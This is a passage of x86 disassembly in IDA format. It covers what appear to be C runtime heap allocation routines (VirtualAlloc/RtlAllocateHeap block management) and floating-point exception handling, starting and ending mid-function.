XREF: sub_410AD1+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_410D0F mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_410D0F: ; CODE XREF: sub_410AD1+214j ; sub_410AD1+21Bj ... mov ebx, [ebp+arg_4] loc_410D12: ; CODE XREF: sub_410AD1+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_410D39 push 3Fh pop esi loc_410D39: ; CODE XREF: sub_410AD1+1DDj ; sub_410AD1+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_410DB6 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_410D8D cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_410D80 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_410D80: ; CODE XREF: sub_410AD1+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_410DB2 ; --------------------------------------------------------------------------- loc_410D8D: ; CODE XREF: sub_410AD1+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_410DA3 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_410DA3: ; CODE XREF: sub_410AD1+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_410DB2: ; CODE XREF: sub_410AD1+2BAj shr edx, cl or [eax], edx loc_410DB6: ; CODE XREF: sub_410AD1+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_410DBF: ; CODE XREF: sub_410AD1+1A2j ; sub_410AD1:loc_410C7Fj push 1 pop eax loc_410DC2: ; CODE XREF: sub_410AD1+1A9j pop edi pop esi pop ebx leave retn sub_410AD1 endp ; =============== S U B R O U T I N E ======================================= sub_410DC7 proc near ; CODE XREF: sub_410223+41p ; sub_4110BF:loc_41128Ep cmp dword_41FCA0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_410DDB mov esi, offset off_41FC90 jmp short loc_410DF8 ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_410DC7+Bj push 2020h push 0 push dword_483424 call dword_418110 ; RtlAllocateHeap mov esi, eax test esi, esi jz loc_410F04 loc_410DF8: ; CODE XREF: sub_410DC7+12j mov ebp, dword_418144 push 4 push 2000h push 400000h push 0 call ebp ; VirtualAlloc mov edi, eax test edi, edi jz loc_410EED push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp ; VirtualAlloc test eax, eax jz loc_410EDF mov eax, offset off_41FC90 cmp esi, eax jnz short loc_410E57 cmp off_41FC90, 0 jnz short loc_410E47 mov off_41FC90, eax loc_410E47: ; CODE XREF: sub_410DC7+79j cmp off_41FC94, 0 jnz short loc_410E6C mov off_41FC94, eax jmp short loc_410E6C ; --------------------------------------------------------------------------- loc_410E57: ; CODE XREF: sub_410DC7+70j mov [esi], eax mov eax, off_41FC94 mov [esi+4], eax mov off_41FC94, esi mov eax, [esi+4] mov [eax], esi loc_410E6C: ; CODE XREF: sub_410DC7+87j ; sub_410DC7+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_410E8E: ; CODE XREF: sub_410DC7+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_410E8E push ebx push 0 push edi call sub_40CC40 add esp, 0Ch loc_410EB7: ; CODE XREF: sub_410DC7+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_410EDB or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_410EB7 ; --------------------------------------------------------------------------- loc_410EDB: ; CODE XREF: sub_410DC7+F7j mov eax, esi jmp short loc_410F06 ; --------------------------------------------------------------------------- loc_410EDF: ; CODE XREF: sub_410DC7+63j push 8000h push 0 push edi call dword_418140 ; VirtualFree loc_410EED: ; CODE XREF: sub_410DC7+4Bj cmp esi, offset off_41FC90 jz short loc_410F04 push esi push 0 push dword_483424 call dword_418114 ; RtlFreeHeap loc_410F04: ; CODE XREF: sub_410DC7+2Bj ; sub_410DC7+12Cj xor eax, eax loc_410F06: ; CODE XREF: sub_410DC7+116j pop edi pop esi pop ebp pop ebx retn sub_410DC7 endp ; =============== S U B R O U T I N E ======================================= sub_410F0B proc near ; CODE XREF: sub_410F61+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call dword_418140 ; VirtualFree cmp off_421CB0, esi jnz short loc_410F30 mov eax, [esi+4] mov off_421CB0, eax loc_410F30: ; CODE XREF: sub_410F0B+1Bj cmp esi, offset off_41FC90 jz short loc_410F58 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_483424 call dword_418114 ; RtlFreeHeap pop esi retn ; --------------------------------------------------------------------------- loc_410F58: ; CODE XREF: sub_410F0B+2Bj or dword_41FCA0, 0FFFFFFFFh pop esi retn sub_410F0B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F61 proc near ; CODE XREF: sub_41107A+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_41FC94 push edi loc_410F6E: ; CODE XREF: sub_410F61+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41100C and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_410F87: ; CODE XREF: sub_410F61+72j cmp dword ptr [edi], 0F0h jnz short loc_410FC8 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call dword_418140 ; VirtualFree test eax, eax jz short loc_410FC8 or dword ptr [edi], 0FFFFFFFFh dec dword_481E1C mov eax, [esi+0Ch] test eax, eax jz short loc_410FBD cmp eax, edi jbe short loc_410FC0 loc_410FBD: ; CODE XREF: sub_410F61+56j mov [esi+0Ch], edi loc_410FC0: ; CODE XREF: sub_410F61+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_410FD5 loc_410FC8: ; CODE XREF: sub_410F61+2Cj ; sub_410F61+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_410F87 loc_410FD5: ; CODE XREF: sub_410F61+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41100C cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41100C push 1 lea eax, [ecx+20h] pop edx loc_410FEC: ; CODE XREF: sub_410F61+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_410FFD inc edx add eax, 8 cmp edx, 400h jl short loc_410FEC loc_410FFD: ; CODE XREF: sub_410F61+8Ej cmp edx, 400h jnz short loc_41100C push ecx call sub_410F0B pop ecx loc_41100C: ; CODE XREF: sub_410F61+11j ; sub_410F61+7Dj ... cmp esi, off_41FC94 jz short loc_41101E cmp [ebp+arg_0], 0 jg loc_410F6E loc_41101E: ; CODE XREF: sub_410F61+B1j pop edi pop esi pop ebx leave retn sub_410F61 endp ; =============== S U B R O U T I N E ======================================= sub_411023 proc near ; CODE XREF: sub_40CD81+3Ap ; sub_40DB08+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_41FC90 push esi mov ecx, edx loc_41102F: ; CODE XREF: sub_411023+1Cj cmp eax, [ecx+10h] jbe short loc_411039 cmp eax, [ecx+14h] jb short loc_411041 loc_411039: ; CODE XREF: sub_411023+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_411076 jmp short loc_41102F ; --------------------------------------------------------------------------- loc_411041: ; CODE XREF: sub_411023+14j test al, 0Fh jnz short loc_411076 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_411076 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_411076: ; CODE XREF: sub_411023+1Aj ; sub_411023+20j ... xor eax, eax pop esi retn sub_411023 endp ; =============== S U B R O U T I N E ======================================= sub_41107A proc near ; CODE XREF: sub_40CD81+4Dp ; sub_40DB08+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_4110BE inc dword_481E1C cmp dword_481E1C, 20h jnz short locret_4110BE push 10h call sub_410F61 pop ecx locret_4110BE: ; CODE XREF: sub_41107A+2Bj ; sub_41107A+3Aj retn sub_41107A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110BF proc near ; CODE XREF: sub_40CD0D+4Ap ; sub_40DB08+1ACp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_421CB0 push edi loc_4110CD: ; CODE XREF: sub_4110BF+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_411178 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_411132 loc_4110F8: ; CODE XREF: sub_4110BF+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41111B cmp [edi+4], ebx jbe short loc_41111B push ebx push ecx push eax call sub_4112C7 add esp, 0Ch test eax, eax jnz short loc_41118A mov eax, [ebp+var_4] mov [edi+4], ebx loc_41111B: ; CODE XREF: sub_4110BF+40j ; sub_4110BF+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_4110F8 jmp short loc_411135 ; --------------------------------------------------------------------------- loc_411132: ; CODE XREF: sub_4110BF+37j mov ebx, [ebp+arg_0] loc_411135: ; CODE XREF: sub_4110BF+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41117B loc_411148: ; CODE XREF: sub_4110BF+B5j mov eax, [edi] cmp eax, ebx jl short loc_411167 cmp [edi+4], ebx jbe short loc_411167 push ebx push eax push [ebp+var_4] call sub_4112C7 add esp, 0Ch test eax, eax jnz short loc_41118A mov [edi+4], ebx loc_411167: ; CODE XREF: sub_4110BF+8Dj ; sub_4110BF+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_411148 jmp short loc_41117B ; --------------------------------------------------------------------------- loc_411178: ; CODE XREF: sub_4110BF+14j mov ebx, [ebp+arg_0] loc_41117B: ; CODE XREF: sub_4110BF+87j ; sub_4110BF+B7j mov esi, [esi] cmp esi, off_421CB0 jz short loc_41119A jmp loc_4110CD ; --------------------------------------------------------------------------- loc_41118A: ; CODE XREF: sub_4110BF+54j ; sub_4110BF+A3j mov off_421CB0, esi sub [edi], ebx mov [esi+8], edi jmp loc_4112C2 ; --------------------------------------------------------------------------- loc_41119A: ; CODE XREF: sub_4110BF+C4j mov eax, offset off_41FC90 mov edi, eax loc_4111A1: ; CODE XREF: sub_4110BF+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_4111AD cmp dword ptr [edi+0Ch], 0 jnz short loc_4111B9 loc_4111AD: ; CODE XREF: sub_4110BF+E6j mov edi, [edi] cmp edi, eax jz loc_41128E jmp short loc_4111A1 ; --------------------------------------------------------------------------- loc_4111B9: ; CODE XREF: sub_4110BF+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_4111E8 loc_4111D7: ; CODE XREF: sub_4110BF+127j cmp [ebp+var_4], 10h jge short loc_4111E8 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_4111D7 loc_4111E8: ; CODE XREF: sub_4110BF+116j ; sub_4110BF+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call dword_418144 ; VirtualAlloc cmp eax, esi jnz loc_4112C0 push 0 push [ebp+var_8] push esi call sub_40CC40 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41124F lea eax, [esi+4] mov [ebp+var_4], edx loc_411225: ; CODE XREF: sub_4110BF+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_411225 loc_41124F: ; CODE XREF: sub_4110BF+15Ej mov off_421CB0, edi lea eax, [edi+2018h] loc_41125B: ; CODE XREF: sub_4110BF+1A8j cmp ecx, eax jnb short loc_41126B cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_411269 add ecx, 8 jmp short loc_41125B ; --------------------------------------------------------------------------- loc_411269: ; CODE XREF: sub_4110BF+1A3j cmp ecx, eax loc_41126B: ; CODE XREF: sub_4110BF+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_4112C2 ; --------------------------------------------------------------------------- loc_41128E: ; CODE XREF: sub_4110BF+F2j call sub_410DC7 test eax, eax jz short loc_4112C0 mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_421CB0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_4112C2 ; --------------------------------------------------------------------------- loc_4112C0: ; CODE XREF: sub_4110BF+143j ; sub_4110BF+1D6j xor eax, eax loc_4112C2: ; CODE XREF: sub_4110BF+D6j ; sub_4110BF+1CDj ... pop edi pop esi pop ebx leave retn sub_4110BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4112C7 proc near ; CODE XREF: sub_4110BF+4Ap ; sub_4110BF+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41130C lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_4112FB add [ecx], edx sub [ecx+4], edx jmp short loc_411304 ; --------------------------------------------------------------------------- loc_4112FB: ; CODE XREF: sub_4112C7+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_411304: ; CODE XREF: sub_4112C7+32j lea eax, [edi+8] jmp loc_4113DA ; --------------------------------------------------------------------------- loc_41130C: ; CODE XREF: sub_4112C7+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_411315 mov eax, esi loc_411315: ; CODE XREF: sub_4112C7+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41135F loc_41131C: ; CODE XREF: sub_4112C7+96j mov bl, [eax] test bl, bl jnz short loc_411352 push 1 lea ebx, [eax+1] pop esi loc_411328: ; CODE XREF: sub_4112C7+68j cmp byte ptr [ebx], 0 jnz short loc_411331 inc ebx inc esi jmp short loc_411328 ; --------------------------------------------------------------------------- loc_411331: ; CODE XREF: sub_4112C7+64j cmp esi, edx jnb short loc_411383 cmp eax, [ebp+var_4] jnz short loc_41133F mov [ecx+4], esi jmp short loc_41134B ; --------------------------------------------------------------------------- loc_41133F: ; CODE XREF: sub_4112C7+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_4113E4 loc_41134B: ; CODE XREF: sub_4112C7+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_411357 ; --------------------------------------------------------------------------- loc_411352: ; CODE XREF: sub_4112C7+59j movzx esi, bl add eax, esi loc_411357: ; CODE XREF: sub_4112C7+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41131C loc_41135F: ; CODE XREF: sub_4112C7+53j lea esi, [ecx+8] loc_411362: ; CODE XREF: sub_4112C7+EBj ; sub_4112C7+F2j cmp esi, edi jnb short loc_4113E4 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_4113E4 mov al, [esi] test al, al jnz short loc_4113B4 push 1 lea ebx, [esi+1] pop eax loc_41137A: ; CODE XREF: sub_4112C7+BAj cmp byte ptr [ebx], 0 jnz short loc_4113A4 inc ebx inc eax jmp short loc_41137A ; --------------------------------------------------------------------------- loc_411383: ; CODE XREF: sub_4112C7+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_411394 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41139D ; --------------------------------------------------------------------------- loc_411394: ; CODE XREF: sub_4112C7+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41139D: ; CODE XREF: sub_4112C7+CBj mov [eax], dl add eax, 8 jmp short loc_4113DA ; --------------------------------------------------------------------------- loc_4113A4: ; CODE XREF: sub_4112C7+B6j cmp eax, edx jnb short loc_4113BB sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_4113E4 mov esi, ebx jmp short loc_411362 ; --------------------------------------------------------------------------- loc_4113B4: ; CODE XREF: sub_4112C7+ABj movzx eax, al add esi, eax jmp short loc_411362 ; --------------------------------------------------------------------------- loc_4113BB: ; CODE XREF: sub_4112C7+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_4113CC sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_4113D5 ; --------------------------------------------------------------------------- loc_4113CC: ; CODE XREF: sub_4112C7+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_4113D5: ; CODE XREF: sub_4112C7+103j mov [esi], dl lea eax, [esi+8] loc_4113DA: ; CODE XREF: sub_4112C7+40j ; sub_4112C7+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_4113E6 ; --------------------------------------------------------------------------- loc_4113E4: ; CODE XREF: sub_4112C7+7Ej ; sub_4112C7+9Dj ... xor eax, eax loc_4113E6: ; CODE XREF: sub_4112C7+11Bj pop edi pop esi pop ebx leave retn sub_4112C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4113EB proc near ; CODE XREF: sub_40DB08+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_411425 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_411485 ; --------------------------------------------------------------------------- loc_411425: ; CODE XREF: sub_4113EB+26j jnb short loc_41148C mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41148C lea eax, [ecx+edx] loc_41143A: ; CODE XREF: sub_4113EB+59j cmp eax, esi jnb short loc_411448 cmp byte ptr [eax], 0 jnz short loc_411446 inc eax jmp short loc_41143A ; --------------------------------------------------------------------------- loc_411446: ; CODE XREF: sub_4113EB+56j cmp eax, esi loc_411448: ; CODE XREF: sub_4113EB+51j jnz short loc_41148C mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_411480 cmp esi, eax jbe short loc_411480 lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_411477 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_411472 loc_41146B: ; CODE XREF: sub_4113EB+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41146B loc_411472: ; CODE XREF: sub_4113EB+7Ej mov [ebx+4], eax jmp short loc_411480 ; --------------------------------------------------------------------------- loc_411477: ; CODE XREF: sub_4113EB+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_411480: ; CODE XREF: sub_4113EB+68j ; sub_4113EB+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_411485: ; CODE XREF: sub_4113EB+38j mov [ebp+var_4], 1 loc_41148C: ; CODE XREF: sub_4113EB:loc_411425j ; sub_4113EB+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_4113EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_411494(int,int,double,int) sub_411494 proc near ; CODE XREF: sub_40CDEA+51p ; sub_40CF33+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_422610, 0 jnz short loc_4114C9 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_411A49 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_4114C9: ; CODE XREF: sub_411494+Aj push 0FFFFh mov dword_481DBC, 21h push [ebp+arg_C] call sub_411CBC fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_411494 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4114E7(int,int,double,double,int) sub_4114E7 proc near ; CODE XREF: sub_40CDEA:loc_40CEADp ; sub_40CF33:loc_40CFF6p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_411832 add esp, 0Ch test eax, eax jnz short loc_411525 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_41157F add esp, 18h loc_411525: ; CODE XREF: sub_4114E7+1Aj push [ebp+arg_0] call sub_411B1C cmp dword_422610, 0 pop ecx jnz short loc_411563 test eax, eax jz short loc_411563 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_411A49 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_411563: ; CODE XREF: sub_4114E7+4Ej ; sub_4114E7+52j push eax call sub_411AD1 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_411CBC fld [ebp+arg_10] pop ecx pop ecx leave retn sub_4114E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41157F proc near ; CODE XREF: sub_4114E7+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4115B1 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4115B1: ; CODE XREF: sub_41157F+23j test cl, 2 jz short loc_4115C4 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4115C4: ; CODE XREF: sub_41157F+35j test cl, bl jz short loc_4115D6 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_4115D6: ; CODE XREF: sub_41157F+47j test cl, 4 jz short loc_4115E9 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_4115E9: ; CODE XREF: sub_41157F+5Aj test cl, 8 jz short loc_4115FC mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_4115FC: ; CODE XREF: sub_41157F+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_411C9F test al, bl jz short loc_411685 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_411685: ; CODE XREF: sub_41157F+FDj test al, 4 jz short loc_411690 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_411690: ; CODE XREF: sub_41157F+108j test al, 8 jz short loc_41169B mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_41169B: ; CODE XREF: sub_41157F+113j test al, 10h jz short loc_4116A5 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4116A5: ; CODE XREF: sub_41157F+11Ej test al, 20h jz short loc_4116AF mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4116AF: ; CODE XREF: sub_41157F+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_4116EE cmp eax, 400h jz short loc_4116E0 cmp eax, 800h jz short loc_4116D4 cmp eax, ecx jnz short loc_4116F4 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_4116F4 ; --------------------------------------------------------------------------- loc_4116D4: ; CODE XREF: sub_41157F+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_4116EA ; --------------------------------------------------------------------------- loc_4116E0: ; CODE XREF: sub_41157F+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_4116EA: ; CODE XREF: sub_41157F+15Fj mov [eax], ecx jmp short loc_4116F4 ; --------------------------------------------------------------------------- loc_4116EE: ; CODE XREF: sub_41157F+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_4116F4: ; CODE XREF: sub_41157F+14Bj ; sub_41157F+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_41171F cmp eax, 200h jz short loc_411712 cmp eax, ecx jnz short loc_41172C mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_41172C ; --------------------------------------------------------------------------- loc_411712: ; CODE XREF: sub_41157F+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_41172A ; --------------------------------------------------------------------------- loc_41171F: ; CODE XREF: sub_41157F+17Ej mov eax, [ebp+arg_0] 